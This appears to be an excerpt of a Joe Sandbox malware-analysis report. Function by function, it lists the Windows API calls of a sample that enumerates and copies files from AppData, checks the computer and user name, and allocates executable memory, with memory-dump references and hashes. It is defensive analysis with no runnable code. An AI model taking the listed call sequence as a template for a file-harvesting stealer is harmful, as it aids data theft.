Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
Part of subcall function 01014910: FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
Part of subcall function 01014910: FindClose.KERNEL32(000000FF), ref: 01014B92

Part of subcall function 01014910: wsprintfA.USER32 ref: 010149B0
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,010208D2), ref: 010149C5
Part of subcall function 01014910: wsprintfA.USER32 ref: 010149E2
Part of subcall function 01014910: PathMatchSpecA.SHLWAPI(?,?), ref: 01014A1E
Part of subcall function 01014910: lstrcat.KERNEL32(?,00A5EAA8), ref: 01014A4A
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FF8), ref: 01014A5C
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A70
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FFC), ref: 01014A82
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A96
Part of subcall function 01014910: CopyFileA.KERNEL32(?,?,00000001), ref: 01014AAC
Part of subcall function 01014910: DeleteFileA.KERNEL32(?), ref: 01014B31

Part of subcall function 01014910: wsprintfA.USER32 ref: 01014A07

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: e735bd9766b00fd30523474599e4eb9aceccdce0799cce213b2d77767e9079ba
Instruction ID: 59a06a254b72d24ea9cfe52a473d3ed6ca0c255c0559255d6fca4b002376b5fe
Opcode Fuzzy Hash: e735bd9766b00fd30523474599e4eb9aceccdce0799cce213b2d77767e9079ba
Instruction Fuzzy Hash: 1B41A7BBA40204ABD764F7A0FC45EEE333DA754700F40854CB5CA97189EE759B888B91

Function 01006660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 01006706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 01006753

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fbc1f5fcccec411eb18e8bb971484f1f022e64e50883ef4275dc8ddf47cc28df
Instruction ID: 02766aba5dd105d691c90d0c430a378a89bf586c53a94ae9494647160b7e696b
Opcode Fuzzy Hash: fbc1f5fcccec411eb18e8bb971484f1f022e64e50883ef4275dc8ddf47cc28df
Instruction Fuzzy Hash: 8A41ED74A00209EFDB45CF58C494BADBBB2FF48314F148299E9599B385D732EA91CF84

Function 01015050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 0101508A
lstrcat.KERNEL32(?,00A5E398), ref: 010150A8

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: bbeb306d9305ad4343646a1569fd4c5753cc54e468af52491f781fdae543d636
Instruction ID: 542c07d2e1977e3e3eefc03e31c8568a183f10274a12623957a8272e0035cdb6
Opcode Fuzzy Hash: bbeb306d9305ad4343646a1569fd4c5753cc54e468af52491f781fdae543d636
Instruction Fuzzy Hash: A1019B7A94020997D764FBB0EC45DDD733CAB24700F404549B6CA57184EE759B898B91

Function 010010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 010010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 010010F7

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 98801fbb23e47293fd8b923853a34f13eb9b81907d87740e47513c3bad0870bf
Instruction ID: 5c96b6e6e571e3fe4821ae4bab897c2962a37e5bbbfb881e9e6628720045d020
Opcode Fuzzy Hash: 98801fbb23e47293fd8b923853a34f13eb9b81907d87740e47513c3bad0870bf
Instruction Fuzzy Hash: C2F0E271681208BBF724DAA8AC49FAEB7E8E705B15F300448F685E7280D5719F00CBA0

Function 01018D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,01001B54,?,?,0102564C,?,?,01020E1F), ref: 01018D9F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 13614fa77a24fd59f911f1f3f233ac26a74f134047cb593b22402a2b52c08895
Instruction ID: 9aa5508520df6e742c2400e357b3242208a53d20fdd2336b6c9c33ec9a2560ed
Opcode Fuzzy Hash: 13614fa77a24fd59f911f1f3f233ac26a74f134047cb593b22402a2b52c08895
Instruction Fuzzy Hash: E5F01570D00208EBDB14EFA8D5486DCBB74EB11320F40819AD8A66B284DB396B4ACB80

Function 01018DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c7ea268354063bd5afef735b7c4c4d3383edfa431387d835bb03c3d5780f2bcc
Instruction ID: e74f00acd0e95371e2c8477158d86a84eb05f36db2ea91fafa9b445e77de3120
Opcode Fuzzy Hash: c7ea268354063bd5afef735b7c4c4d3383edfa431387d835bb03c3d5780f2bcc
Instruction Fuzzy Hash: 3CE09A31A4034CABEB91EB90CC96FEE337CEB04B00F004285BA0C5B1C0DA70AB858B90

Function 01001190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 010178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
Part of subcall function 010178E0: RtlAllocateHeap.NTDLL(00000000), ref: 01017917
Part of subcall function 010178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Part of subcall function 01017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
Part of subcall function 01017850: RtlAllocateHeap.NTDLL(00000000), ref: 01017887
Part of subcall function 01017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

ExitProcess.KERNEL32 ref: 010011C6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: caffcafe89c403ed20d3a5dc8f7bb6bb0a0ab7afa12dfffee24ca1d6aa240d23
Instruction ID: 619defe7dd262cb30b550764b9518d2ab2a7f69d4d4f5212bbb4f0d7c03796fb
Opcode Fuzzy Hash: caffcafe89c403ed20d3a5dc8f7bb6bb0a0ab7afa12dfffee24ca1d6aa240d23
Instruction Fuzzy Hash: 53E012BADD030257EA2573B4BC09BAA329C6B14245F040424ED4AD314AFA29E50187E5

Non-executed Functions

Function 6C5D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D54BE
__Init_thread_footer.LIBCMT ref: 6C5D54DB

Part of subcall function 6C5FAB3F: EnterCriticalSection.KERNEL32(6C64E370,?,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB49
Part of subcall function 6C5FAB3F: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FAB7C

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5D5516
GetCurrentThreadId.KERNEL32 ref: 6C5D556A
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5D55E6
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D5616

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

GetCurrentThreadId.KERNEL32 ref: 6C5D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5D567C
free.MOZGLUE(?), ref: 6C5D56AE

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5D56E8
GetCurrentThreadId.KERNEL32 ref: 6C5D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5D5796
